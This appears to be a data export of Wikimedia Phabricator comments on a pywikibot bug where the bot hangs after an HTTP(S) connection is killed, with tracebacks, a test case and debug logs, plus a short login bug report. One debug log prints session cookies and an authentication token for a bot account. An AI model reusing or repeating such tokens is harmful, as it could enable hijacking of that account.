    data = recv(1)
  File ""C:\Python27\lib\ssl.py"", line 241, in recv
    return self.read(buflen)
  File ""C:\Python27\lib\ssl.py"", line 160, in read
    return self._sslobj.read(len)
error: [Errno 10060] Ein Verbindungsversuch ist fehlgeschlagen, da die Gegenstelle nach einer bestimmten Zeitspanne nicht richtig reagiert hat, oder die hergestellte Verbindung war fehlerhaft, da der verbundene Host nicht reagiert hat",,,1391334920,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,True,,,22,True,0.0,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,4.666666666666667,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,4.333333333333333,0.0,1.0,4.666666666666667,16.333333333333332,0.0,7.666666666666667,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,5.196545984186433,0.5281731169371618,"I tried this on _windows_ but I didn't got it hanging:

Traceback (most recent call last):
  File ""<pyshell#4>"", line 1, in <module>
    resp, content = h.request(""URL ""GET"")
  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1591, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1333, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1289, in _conn_request
    response = conn.getresponse()
  File ""C:\Python27\lib\httplib.py"", line 1030, in getresponse
    response.begin()
  File ""C:\Python27\lib\httplib.py"", line 407, in begin
    version, status, reason = self._read_status()
  File ""C:\Python27\lib\httplib.py"", line 365, in _read_status
    line = self.fp.readline()
  File ""C:\Python27\lib\socket.py"", line 430, in readline
    data = recv(1)
  File ""C:\Python27\lib\ssl.py"", line 241, in recv
    return self.read(buflen)
  File ""C:\Python27\lib\ssl.py"", line 160, in read
    return self._sslobj.read(len)
error: [Errno 10060] Ein Verbindungsversuch ist fehlgeschlagen, da die Gegenstelle nach einer bestimmten Zeitspanne nicht richtig reagiert hat, oder die hergestellte Verbindung war fehlerhaft, da der verbundene Host nicht reagiert hat"
264282,core hangs on killed http(s) connection,"Minimal test case for the SSL issue:

import httplib2

h = httplib2.Http()
resp, content = h.request(""https://en.wikipedia.org/"", ""GET"")
raw_input(""kill the connection..."")
resp, content = h.request(""https://en.wikipedia.org/"", ""GET"")
print ""done""


So there are three issues:
 - A connection can hang indefinitely if the connection is killed. There should be some timeout for receiving some data here.
 - The framework does not respond to ctrl-c when a thread doesn't return. This can be solved by changing pywikibot/comms/http.py to be non-blocking (e.g. in a loop with a 100ms time.sleep)
 - Threads do not receive KeyboardInterrupts (which is OK!) but this means a non-returning call will hang forever (i.e. will not be killed when python exits)

Amirs solution might be useful for the last issue, but I'm not 100% sure about that. I think I'd rather hook the atexit handler to kill all processing threads. Maybe we can also start threads as daemons, which should kill them automatically when the main thread exits...",,,1391290884,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,1.0,0.0,0.0,1.0,2.0,5.333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.0,0.0,0.6666666666666666,2.0,0.3333333333333333,7.0,5.666666666666667,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,1.3333333333333333,0.0,4.333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,11.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,4.333333333333333,3.0,6.333333333333333,1.6666666666666667,0.6666666666666666,7.333333333333333,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,0.0,0.6666666666666666,0.0,2.3333333333333335,5.666666666666667,3.0,0.0,2.3333333333333335,0.0,2.3333333333333335,0.0,2.0,1.6666666666666667,0.3333333333333333,1.0,0.0,0.0,0.6666666666666666,3.8694574856546686,0.7387193531559729,"Minimal test case for the SSL issue:

import httplib2

h = httplib2.Http()
resp, content = h.request(""URL ""GET"")
raw_input(""kill the connection..."")
resp, content = h.request(""URL ""GET"")
print ""done""


So there are three issues:
 - A connection can hang indefinitely if the connection is killed. There should be some timeout for receiving some data here.
 - The framework does not respond to ctrl-c when a thread doesn't return. This can be solved by changing pywikibot/comms/http.py to be non-blocking (e.g. in a loop with a 100ms time.sleep)
 - Threads do not receive KeyboardInterrupts (which is OK!) but this means a non-returning call will hang forever (i.e. will not be killed when python exits)

Amirs solution might be useful for the last issue, but I'm not 100% sure about that. I think I'd rather hook the atexit handler to kill all processing threads. Maybe we can also start threads as daemons, which should kill them automatically when the main thread exits..."
264275,core hangs on killed http(s) connection,"Change 108325 had a related patch set uploaded by Ladsgroup:
[BUGFIX] fixing bug 55127

https://gerrit.wikimedia.org/r/108325",,,1390135742,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,20,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,4.3,1.0,"Change 108325 had a related patch set uploaded by Ladsgroup:
[BUGFIX] fixing bug 55127

GERRIT_URL"
264269,core hangs on killed http(s) connection,"Here are the last log entries before the bot hanged:

2013-11-20 05:50:37             api.py,  685 in           __iter__: DEBUG    PropertyGenerator received [u'7165976']; limit=-1
2013-11-20 05:50:51 vm-auto-erl-neu.py,   79 in             output: INFO     >> 05:50:51: 
2013-11-20 05:50:51    threadedhttp.py,   97 in     pop_connection: DEBUG    Retrieved connection from 'https:de.wikipedia.org' pool.
2013-11-20 05:50:51    threadedhttp.py,  215 in            request: DEBUG    ('https://de.wikipedia.org/w/api.php', 'POST', 'maxlag=5000&format=json&bkprop=user%7Cby%7Ctimestamp%7Cexpiry%7Creason&list=blocks&bkusers=&meta=userinfo&action=query&bkend=20131120005959&uiprop=blockinfo%7Chasmsg', {'cookie': 'centralauth_Token=8c1df3ec61f7a92677f4c0b561c30585; centralauth_User=Xqbot; forceHTTPS=1; forceHTTPS=true; dewikiUserName=Xqbot; dewikiSession=3144518b40881659814792e3c0fc34cc; dewikiUserID=627628', 'connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'user-agent': 'pwb/r-1 (unknown) Pywikipediabot/2.0'}, 5, None)
2013-11-20 05:50:51             api.py,  308 in             submit: DEBUG    API response received:
{""query"":{""blocks"":[],""userinfo"":{""id"":627628,""name"":""Xqbot""}}}
2013-11-20 05:50:51             api.py,  611 in       update_limit: DEBUG    PropertyGenerator: Set query_limit to 5000.
2013-11-20 05:50:51    threadedhttp.py,   97 in     pop_connection: DEBUG    Retrieved connection from 'https:de.wikipedia.org' pool.
2013-11-20 05:50:51    threadedhttp.py,  215 in            request: DEBUG    ('https://de.wikipedia.org/w/api.php', 'POST', 'maxlag=5000&format=json&rvprop=ids%7Cflags%7Ctimestamp%7Cuser%7Ccomment%7Ccontent&prop=info%7Crevisions&titles=Wikipedia%3AVandalismusmeldung&meta=userinfo&indexpageids=&action=query&uiprop=blockinfo%7Chasmsg', {'cookie': 'centralauth_Token=8c1df3ec61f7a92677f4c0b561c30585; centralauth_User=Xqbot; forceHTTPS=1; forceHTTPS=true; dewikiUserName=Xqbot; dewikiSession=3144518b40881659814792e3c0fc34cc; dewikiUserID=627628', 'connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'user-agent': 'pwb/r-1 (unknown) Pywikipediabot/2.0'}, 5, None)",,,1384929111,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,2.2,0.2,0.0,0.0,0.0,1.6,10.2,0.0,0.0,0.0,0.0,0.0,0.2,2.4,0.4,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.8,0.0,0.0,0.2,0.0,0.0,0.0,0.4,0.4,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.4,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.4,0.2,6.6,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.6,0.0,8.6,0.0,0.0,2.4,8.6,0.0,10.6,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.8,4.828244504667269,0.5524540800963564,"Here are the last log entries before the bot hanged:

2013-11-20 05:50:37             api.py,  685 in           __iter__: DEBUG    PropertyGenerator received [u'7165976']; limit=-1
2013-11-20 05:50:51 vm-auto-erl-neu.py,   79 in             output: INFO     >> 05:50:51: 
2013-11-20 05:50:51    threadedhttp.py,   97 in     pop_connection: DEBUG    Retrieved connection from 'https:de.wikipedia.org' pool.
2013-11-20 05:50:51    threadedhttp.py,  215 in            request: DEBUG    ('URL 'POST', 'maxlag=5000&format=json&bkprop=user%7Cby%7Ctimestamp%7Cexpiry%7Creason&list=blocks&bkusers=&meta=userinfo&action=query&bkend=20131120005959&uiprop=blockinfo%7Chasmsg', {'cookie': 'centralauth_Token=8c1df3ec61f7a92677f4c0b561c30585; centralauth_User=Xqbot; forceHTTPS=1; forceHTTPS=true; dewikiUserName=Xqbot; dewikiSession=3144518b40881659814792e3c0fc34cc; dewikiUserID=627628', 'connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'user-agent': 'pwb/r-1 (unknown) Pywikipediabot/2.0'}, 5, None)
2013-11-20 05:50:51             api.py,  308 in             submit: DEBUG    API response received:
{""query"":{""blocks"":[],""userinfo"":{""id"":627628,""name"":""Xqbot""}}}
2013-11-20 05:50:51             api.py,  611 in       update_limit: DEBUG    PropertyGenerator: Set query_limit to 5000.
2013-11-20 05:50:51    threadedhttp.py,   97 in     pop_connection: DEBUG    Retrieved connection from 'https:de.wikipedia.org' pool.
2013-11-20 05:50:51    threadedhttp.py,  215 in            request: DEBUG    ('URL 'POST', 'maxlag=5000&format=json&rvprop=ids%7Cflags%7Ctimestamp%7Cuser%7Ccomment%7Ccontent&prop=info%7Crevisions&titles=Wikipedia%3AVandalismusmeldung&meta=userinfo&indexpageids=&action=query&uiprop=blockinfo%7Chasmsg', {'cookie': 'centralauth_Token=8c1df3ec61f7a92677f4c0b561c30585; centralauth_User=Xqbot; forceHTTPS=1; forceHTTPS=true; dewikiUserName=Xqbot; dewikiSession=3144518b40881659814792e3c0fc34cc; dewikiUserID=627628', 'connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'user-agent': 'pwb/r-1 (unknown) Pywikipediabot/2.0'}, 5, None)"
264263,core hangs on killed http(s) connection,Yes my bug depends on a killed internet connection while my router was off for 20 seconds!,,,1382718207,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,22.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,0.9444444444444444,Yes my bug depends on a killed internet connection while my router was off for 20 seconds!
264256,core hangs on killed http(s) connection,"Additional comment:
pwb.py version

Pywikibot: pywikibot/__init__.py (r-1 (unknown), ???????, 2013/09/21, 15:53:03,
OUTDATED)
Release version: 2.0b1
Python: 2.7.3 (default, Apr 10 2012, 23:24:47) [MSC v.1500 64 bit (AMD64)]
unicode test: ok",,,1382365689,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.4444444444444446,0.5873015873015873,"Additional comment:
pwb.py version

Pywikibot: pywikibot/__init__.py (r-1 (unknown), ???????, 2013/09/21, 15:53:03,
OUTDATED)
Release version: 2.0b1
Python: 2.7.3 (default, Apr 10 2012, 23:24:47) [MSC v.1500 64 bit (AMD64)]
unicode test: ok"
264247,core hangs on killed http(s) connection,"I do not know whether this is similar this bug reported above and am unable to investigate the reason of that bug. I only found the last output where the bot checks a wiki page every 15 seconds:


defendant: Textkontrolle accuser: Neozoon time: 2013 Okt 20 21:26
>> 05:20:37:

defendant: Textkontrolle accuser: Neozoon time: 2013 Okt 20 21:26
>> 05:20:54:

...
a lot of lines deleted
...
>> 05:42:19:
>> 05:42:33:
...
>> 05:53:41:
>> 05:53:55:
>> 05:54:10:
>> 05:54:24:
>> 05:54:38:
>> 05:54:53:
>> 05:55:07:
>> 05:55:21:

now it stops, CTL-C does not work, I have to kill the process via task manager.
I checked my router and found it had an autoreset of the internet connection 5 minutes before 6 a.m. this morning and I guess this was also yesterday. On the other hand the same bot worked well the three days before.",,,1382365503,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,True,,,7,True,0.5,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.0,4.5,5.0,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,4.5,4.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,17.5,1.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,6.0,1.5,14.5,1.0,1.5,9.5,0.0,0.0,0.0,0.0,2.0,0.5,5.5,0.0,4.5,5.0,9.0,0.0,0.0,0.0,4.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,3.708333333333333,0.6369047619047619,"I do not know whether this is similar this bug reported above and am unable to investigate the reason of that bug. I only found the last output where the bot checks a wiki page every 15 seconds:


defendant: Textkontrolle accuser: Neozoon time: 2013 Okt 20 21:26
QUOTE

defendant: Textkontrolle accuser: Neozoon time: 2013 Okt 20 21:26
QUOTE

...
a lot of lines deleted
...
QUOTE
QUOTE
...
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

now it stops, CTL-C does not work, I have to kill the process via task manager.
I checked my router and found it had an autoreset of the internet connection 5 minutes before 6 a.m. this morning and I guess this was also yesterday. On the other hand the same bot worked well the three days before."
264238,core hangs on killed http(s) connection,- **Group**: confirmed --> rewrite,,,1380947353,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.727272727272727,0.7272727272727273,- **Group**: confirmed --> rewrite
264231,core hangs on killed http(s) connection,Works without any issues in windows - could be either related to linux (v. windows) or killing the connection locally or upstream (the original was run from a VM). Reducing priority.,,,1380947351,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,5,True,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,8.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,4.108108108108108,0.8378378378378378,Works without any issues in windows - could be either related to linux (v. windows) or killing the connection locally or upstream (the original was run from a VM). Reducing priority.
264227,core hangs on killed http(s) connection,- **Priority**: 5 --> 2,,,1380947350,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.7272727272727273,0.7272727272727273,- **Priority**: 5 --> 2
264221,core hangs on killed http(s) connection,"Stack trace during hang:

*** STACKTRACE - START ***


# ThreadID: 140208457426688
File: ""/usr/lib/python2.7/threading.py"", line 524, in __bootstrap
  self.__bootstrap_inner()
File: ""/usr/lib/python2.7/threading.py"", line 551, in __bootstrap_inner
  self.run()
File: ""connectionkilltest.py"", line 16, in run
  for filename, lineno, name, line in traceback.extract_stack(stack):

# ThreadID: 140208472311552
File: ""/usr/lib/python2.7/threading.py"", line 524, in __bootstrap
  self.__bootstrap_inner()
File: ""/usr/lib/python2.7/threading.py"", line 551, in __bootstrap_inner
  self.run()
File: ""pywikibot/comms/threadedhttp.py"", line 343, in run
  item.data = self.http.request(*item.args, **item.kwargs)
File: ""pywikibot/comms/threadedhttp.py"", line 219, in request
  max_redirects, connection_type
File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1444, in request
  (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1196, in _request
  (response, content) = self._conn_request(conn, request_uri, method, body, headers)
File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1166, in _conn_request
  response = conn.getresponse()
File: ""/usr/lib/python2.7/httplib.py"", line 1030, in getresponse
  response.begin()
File: ""/usr/lib/python2.7/httplib.py"", line 407, in begin
  version, status, reason = self._read_status()
File: ""/usr/lib/python2.7/httplib.py"", line 365, in _read_status
  line = self.fp.readline()
File: ""/usr/lib/python2.7/socket.py"", line 430, in readline
  data = recv(1)
File: ""/usr/lib/python2.7/ssl.py"", line 241, in recv
  return self.read(buflen)
File: ""/usr/lib/python2.7/ssl.py"", line 160, in read
  return self._sslobj.read(len)

# ThreadID: 140208510514944
File: ""pwb.py"", line 103, in <module>
  run_python_file(fn, args)
File: ""pwb.py"", line 49, in run_python_file
  exec compile(source, filename, ""exec"") in main_mod.__dict__
File: ""connectionkilltest.py"", line 36, in <module>
  p.put_async('test edit')
File: ""pywikibot/page.py"", line 887, in put_async
  async=True, callback=callback, **kwargs)
File: ""pywikibot/page.py"", line 872, in put
  async=async, callback=callback, **kwargs)
File: ""pywikibot/page.py"", line 782, in save
  if not force and not self.botMayEdit():
File: ""pywikibot/page.py"", line 710, in botMayEdit
  username = self.site.user()
File: ""pywikibot/site.py"", line 206, in user
  if self.logged_in(True):
File: ""pywikibot/site.py"", line 842, in logged_in
  if sysop and 'sysop' not in self.userinfo['groups']:
File: ""pywikibot/site.py"", line 910, in getuserinfo
  uidata = uirequest.submit()
File: ""pywikibot/data/api.py"", line 284, in submit
  body=paramstring)
File: ""pywikibot/comms/http.py"", line 118, in request
  request.lock.acquire()
File: ""/usr/lib/python2.7/threading.py"", line 323, in acquire
  self.__cond.wait()
File: ""/usr/lib/python2.7/threading.py"", line 243, in wait
  waiter.acquire()

*** STACKTRACE - END ***


So: probably not a deadlock, just the ssl library hanging.",,,1380947348,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.5,1.125,0.0,0.0,0.0,0.375,4.125,0.5,0.0,0.0,0.0,0.0,0.125,0.875,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.125,0.0,0.125,0.0,0.125,0.0,0.0,0.0,0.625,0.5,0.0,0.0,0.0,0.375,0.0,0.0,0.0,0.0,0.0,25.125,0.0,0.0,0.0,0.125,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,5.0,0.375,0.25,0.375,0.0,0.0,0.0,0.375,0.0,0.0,4.875,0.0,0.25,5.0,6.0,0.0,8.25,0.0,0.25,0.0,0.0,0.125,0.0,0.125,0.25,0.25,2.25,3.6323309626881057,0.40366676973819826,"Stack trace during hang:

*** STACKTRACE - START ***


# ThreadID: 140208457426688
File: ""/usr/lib/python2.7/threading.py"", line 524, in __bootstrap
  self.__bootstrap_inner()
File: ""/usr/lib/python2.7/threading.py"", line 551, in __bootstrap_inner
  self.run()
File: ""connectionkilltest.py"", line 16, in run
  for filename, lineno, name, line in traceback.extract_stack(stack):

# ThreadID: 140208472311552
File: ""/usr/lib/python2.7/threading.py"", line 524, in __bootstrap
  self.__bootstrap_inner()
File: ""/usr/lib/python2.7/threading.py"", line 551, in __bootstrap_inner
  self.run()
File: ""pywikibot/comms/threadedhttp.py"", line 343, in run
  item.data = self.http.request(*item.args, **item.kwargs)
File: ""pywikibot/comms/threadedhttp.py"", line 219, in request
  max_redirects, connection_type
File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1444, in request
  (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1196, in _request
  (response, content) = self._conn_request(conn, request_uri, method, body, headers)
File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1166, in _conn_request
  response = conn.getresponse()
File: ""/usr/lib/python2.7/httplib.py"", line 1030, in getresponse
  response.begin()
File: ""/usr/lib/python2.7/httplib.py"", line 407, in begin
  version, status, reason = self._read_status()
File: ""/usr/lib/python2.7/httplib.py"", line 365, in _read_status
  line = self.fp.readline()
File: ""/usr/lib/python2.7/socket.py"", line 430, in readline
  data = recv(1)
File: ""/usr/lib/python2.7/ssl.py"", line 241, in recv
  return self.read(buflen)
File: ""/usr/lib/python2.7/ssl.py"", line 160, in read
  return self._sslobj.read(len)

# ThreadID: 140208510514944
File: ""pwb.py"", line 103, in <module>
  run_python_file(fn, args)
File: ""pwb.py"", line 49, in run_python_file
  exec compile(source, filename, ""exec"") in main_mod.__dict__
File: ""connectionkilltest.py"", line 36, in <module>
  p.put_async('test edit')
File: ""pywikibot/page.py"", line 887, in put_async
  async=True, callback=callback, **kwargs)
File: ""pywikibot/page.py"", line 872, in put
  async=async, callback=callback, **kwargs)
File: ""pywikibot/page.py"", line 782, in save
  if not force and not self.botMayEdit():
File: ""pywikibot/page.py"", line 710, in botMayEdit
  username = self.site.user()
File: ""pywikibot/site.py"", line 206, in user
  if self.logged_in(True):
File: ""pywikibot/site.py"", line 842, in logged_in
  if sysop and 'sysop' not in self.userinfo['groups']:
File: ""pywikibot/site.py"", line 910, in getuserinfo
  uidata = uirequest.submit()
File: ""pywikibot/data/api.py"", line 284, in submit
  body=paramstring)
File: ""pywikibot/comms/http.py"", line 118, in request
  request.lock.acquire()
File: ""/usr/lib/python2.7/threading.py"", line 323, in acquire
  self.__cond.wait()
File: ""/usr/lib/python2.7/threading.py"", line 243, in wait
  waiter.acquire()

*** STACKTRACE - END ***


So: probably not a deadlock, just the ssl library hanging."
56914,Login with the required password change doesn't log me in globally,"In the recent user data leaking issue, we forced users to change password on login. After password is changed, the user is logged locally (and also project-wise, eg, for other wikipedia sites) automatically, but not logged in on another project.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1380793140,1696629317.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-4yoprjxsxryoacxktvyk,task_description,resolved,True,c2,3,False,False,False,5,True,0.0,0.0,0.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,10.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.028985507246377,0.6956521739130435,"In the recent user data leaking issue, we forced users to change password on login. After password is changed, the user is logged locally (and also project-wise, eg, for other wikipedia sites) automatically, but not logged in on another project.

--------------------------
**Version**: unspecified
**Severity**: normal"
